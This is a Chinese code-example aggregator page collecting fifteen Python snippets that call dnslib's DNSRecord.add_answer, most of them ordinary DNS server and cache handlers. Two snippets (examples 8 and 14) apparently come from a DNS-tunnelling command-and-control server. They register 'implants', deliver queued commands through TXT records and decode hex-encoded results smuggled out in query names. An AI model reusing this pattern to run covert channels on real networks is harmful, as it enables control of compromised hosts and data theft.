本文整理汇总了Python中dnslib.DNSRecord.add_answer方法的典型用法代码示例。如果您正苦于以下问题:Python DNSRecord.add_answer方法的具体用法?Python DNSRecord.add_answer怎么用?Python DNSRecord.add_answer使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类dnslib.DNSRecord
的用法示例。
在下文中一共展示了DNSRecord.add_answer方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: on_udp_query
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def on_udp_query(self, req_data, addr):
start_time = time.time()
try:
request = DNSRecord.parse(req_data)
if len(request.questions) != 1:
xlog.warn("query num:%d %s", len(request.questions), request)
return
domain = str(request.questions[0].qname)
type = request.questions[0].qtype
if type not in [1, 28]:
xlog.warn("query:%s type:%d", domain, type)
# xlog.debug("DNS query:%s type:%d from %s", domain, type, addr)
ips = self.query(domain, type)
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1, auth=1), q=request.q)
for ip_cn in ips:
ipcn_p = ip_cn.split("|")
ip = ipcn_p[0]
if "." in ip and type == 1:
reply.add_answer(RR(domain, ttl=60, rdata=A(ip)))
elif ":" in ip and type == 28:
reply.add_answer(RR(domain, rtype=type, ttl=60, rdata=AAAA(ip)))
res_data = reply.pack()
self.serverSock.sendto(res_data, addr)
xlog.debug("query:%s type:%d from:%s, return ip num:%d cost:%d", domain, type, addr,
len(reply.rr), (time.time()-start_time)*1000)
except Exception as e:
xlog.exception("on_query except:%r", e)
示例2: manufactory_DNS
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def manufactory_DNS(self):
response_packet = DNSRecord()
response_packet.header.id = self.query_id
response_packet.add_question(DNSQuestion(self.qname, self.qtype))
related_rr = filter(lambda rr: self.qname in rr, intercept_rr)
for answer in related_rr:
response_packet.add_answer(*RR.fromZone(answer))
self.response_packet = response_packet.pack().__str__()
示例3: _reply
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def _reply(self, rec, addrs=None):
reply = DNSRecord(DNSHeader(id=rec.header.id, qr=1, aa=1, ra=1), q=rec.q)
if addrs:
if not isinstance(addrs, list):
addrs = [addrs]
for addr in addrs:
reply.add_answer(RR(rec.q.qname, QTYPE.A, rdata=A(addr)))
return reply.pack()
示例4: _reply
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def _reply(self, rec, addr=None):
reply = DNSRecord(DNSHeader(id=rec.header.id, qr=1, aa=1, ra=1), q=rec.q)
if addr:
qtype = QTYPE.A if QTYPE.A == rec.q.qtype else QTYPE.AAAA
reply.add_answer(RR(rec.q.qname, qtype, rdata=A(addr)))
rep = reply.pack()
return rep
示例5: send_dns_packet
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def send_dns_packet(sock, server_addr, name, ip, id):
"""
Construct and send dns packet
"""
ans = DNSRecord(DNSHeader(id=id, qr=1))
ans.add_question(DNSQuestion(name))
ans.add_answer(RR(name, ttl=3600, rdata=A(ip)))
# print(ans)
sock.sendto(ans.pack(), (server_addr, 7131))
示例6: handle_dns_packet
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def handle_dns_packet(self, query: DNSRecord, answer: DNSRecord):
if self.domain and query.q.qname.matchSuffix(self.domain):
if query.q.qtype in (QTYPE.A, QTYPE.ANY):
dnsname = query.q.qname.stripSuffix(self.domain)
ipaddr = self.get_hostname_ip(dnsname.label[-1])
if ipaddr:
answer.add_answer(
RR(rname=query.q.qname, rtype=QTYPE.A, ttl=3600, rdata=RDMAP["A"](inet_ntoa(ipaddr)))
)
return self
示例7: cache_hit
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def cache_hit(self):
cache_key = "cache:{}:{}".format(self.qtype, self.qname)
cache_ret = cache_db.get(cache_key)
if cache_ret:
log.info("cache_hit: {}".format(self.query_id))
response_packet = DNSRecord()
response_packet.header.id = self.query_id
response_packet.add_question(DNSQuestion(self.qname))
for answer in loads(cache_ret):
response_packet.add_answer(answer)
log.info(response_packet.__str__())
log.info("DNS response id {}".format(self.query_id))
response_packet_str = response_packet.pack().__str__()
self.wfile.write(response_packet_str)
return True
示例8: read_query_a
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def read_query_a(self, request):
qname = request.q.qname
id = request.header.id
if qname.label[0] in implant_id:
if qname.label[1] == 'START':
#print "Limplant envoie le debut des resultats"
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(dodo)))
self.send_data(reponse)
if qname.label[1] == 'STARTFF':
#print "Limplant envoie le debut des resultats"
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(dodo)))
self.send_data(reponse)
elif qname.label[1] == 'BODY':
str1 = ''.join(qname.label[2:-3])
#print "L'implant renvoie le resultat suivant: "
print '\n'+str1.decode("hex")
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(dodo)))
self.send_data(reponse)
elif qname.label[1] == 'FFBODY':
str1 = ''.join(qname.label[3:-3])
result.append(str1.decode("hex"))
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(dodo)))
self.send_data(reponse)
elif qname.label[1] == 'END':
#print "Limplant envoie la fin des resultats"
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(dodo)))
self.send_data(reponse)
str1 = ''.join(result)
print '\n'+str1
del result[:]
示例9: lookup_local
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def lookup_local(handler, request):
qn2 = qn = request.q.qname
qt = QTYPE[request.q.qtype]
reply = DNSRecord(
DNSHeader(id=request.header.id, qr=1, aa=1, ra=1),
q=request.q
)
is_local = False
for value in globalvars.local_domains.values():
domain = value['domain']
if globalvars.config['smartdns']['hack_srv'] and qt == 'SRV' and \
not domain.inDomain(qn2):
r_srv = b'.'.join(qn.label[:2])
if r_srv.decode().lower() in globalvars.config['smartdns']['hack_srv']:
qn2 = DNSLabel(domain.get_subdomain('@')).add(r_srv)
logger.warn('\tChange SRV request to %s from %s' % (qn2, qn))
if domain.inDomain(qn2):
is_local = True
rr_data = domain.search(qn2, qt)
for r in rr_data:
answer = RR(
rname=r['name'],
rtype=getattr(QTYPE, r['type']),
rclass=1, ttl=60 * 5,
rdata=r['rdata'],
)
reply.add_answer(answer)
if reply.rr:
break
if is_local:
if reply.rr:
lines = []
for r in reply.rr:
rqn = str(r.rdata)
rqt = QTYPE[r.rtype]
lines.append('\t\t%s(%s)' % (rqn, rqt))
logger.info('\tReturn from LOCAL:\n%s' % '\n'.join(lines))
logger.debug('\n' + str(reply))
else:
logger.info('\tReturn from LOCAL: \n\t\tN/A')
handler.send_data(reply.pack())
return is_local
示例10: dns_handler
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def dns_handler(s, peer, data):
request = DNSRecord.parse(data)
id = request.header.id
qname = request.q.qname
qtype = request.q.qtype
print "------ Request (%s): %r (%s)" % (str(peer), qname.label, QTYPE[qtype])
reply = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
if qtype == QTYPE.A:
reply.add_answer(RR(qname, qtype, rdata=A(IP)))
elif qtype == QTYPE["*"]:
reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP)))
reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP)))
reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(TXT)))
else:
reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(TXT)))
s.sendto(reply.pack(), peer)
示例11: query
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def query(self, peer, request):
id = request.header.id
qname = request.q.qname
print(
"DNS Request for qname({0:s})".format(str(qname)),
file=sys.stderr
)
reply = DNSRecord(
DNSHeader(id=id, qr=1, aa=1, ra=1),
q=request.q
)
# Add A Record
reply.add_answer(RR(qname, QTYPE.A, rdata=A("127.0.0.1")))
# Send To Client
self.fire(write(peer, reply.pack()))
示例12: read
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def read(self, sock, data):
request = DNSRecord.parse(data)
id = request.header.id
qname = request.q.qname
qtype = request.q.qtype
print "------ Request (%s): %r (%s)" % (str(sock),
qname.label, QTYPE[qtype])
reply = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
if qtype == QTYPE.A:
reply.add_answer(RR(qname, qtype, rdata=A(IP)))
elif qtype == QTYPE['*']:
reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP)))
reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP)))
reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(TXT)))
else:
reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(TXT)))
return reply.pack()
示例13: dns_handler
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def dns_handler(s, peer, data):
# parse request
request = DNSRecord.parse(data)
name, _, domain = str(request.q.qname).partition(".")
# create response
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
# fill response
if request.q.qtype == QTYPE.A or request.q.qtype == QTYPE['*']:
ip = db_fetch(domain, name, "A")
if ip:
reply.add_answer(RR(request.q.qname, request.q.qtype, rdata=A(ip)))
if request.q.qtype == QTYPE.AAAA or request.q.qtype == QTYPE['*']:
ip = db_fetch(domain, name, "AAAA")
if ip:
ip = [ord(x) for x in socket.inet_pton(socket.AF_INET6, ip)]
reply.add_answer(RR(request.q.qname, request.q.qtype, rdata=AAAA(ip)))
# send response
s.sendto(reply.pack(), peer)
示例14: read_query_txt
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def read_query_txt(self, request):
qname = request.q.qname
id = request.header.id
if qname.label[0] == 'NEW':
sys.stdout.flush()
print '\n[+] New implant! IMPLANT-ID %s' % str(id)
str1 = ''.join(qname.label[1:-3])
plop = str1.decode('hex')
implant_info[str(id)] = plop.split('\n')
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(str(id))))
implant_id.append(str(id))
self.send_data(reponse)
if qname.label[0] in implant_id:
if qname.label[1] == 'TOPO':
now = datetime.datetime.now()
localtime= now.strftime("%Y-%m-%d %H:%M")
implant_info[qname.label[0]][4] = localtime
if command.get(qname.label[0]):
#print "[+] Implant %s poll, commandes pretes, au travail petit hippo!!" % str(qname.label[0])
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(command.get(qname.label[0]))))
self.send_data(reponse)
del command[qname.label[0]]
else:
#print "[+] Implant %s poll , aucunes commandes, fait dodo petit hippo" % str(qname.label[0])
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(dodo)))
self.send_data(reponse)
pass
示例15: request
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import add_answer [as 别名]
def request(self, s, peer, data):
"""
Handle DNS Request
@method request
@param {socket} s Connection Socket
@param {peer} peer Peer Connecection
@param {mixed} data Data
@return {void}
"""
# DNS Request Data
request = DNSRecord.parse(data)
id = request.header.id
qname = request.q.qname
qtype = request.q.qtype
logging.info('DNS Request for qname(%s)' % qname)
# Lookup IP Address
ip = self.aliases.get(str(qname), False)
# NOAUTH
if ip is False:
reply = DNSRecord(
DNSHeader(id=id, qr=1, aa=1, ra=1, rcode=9),
q=request.q)
else:
reply = DNSRecord(
DNSHeader(id=id, qr=1, aa=1, ra=1),
q=request.q)
# Add A Record
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip)))
# Send To Client
return self.s.sendto(reply.pack(), peer)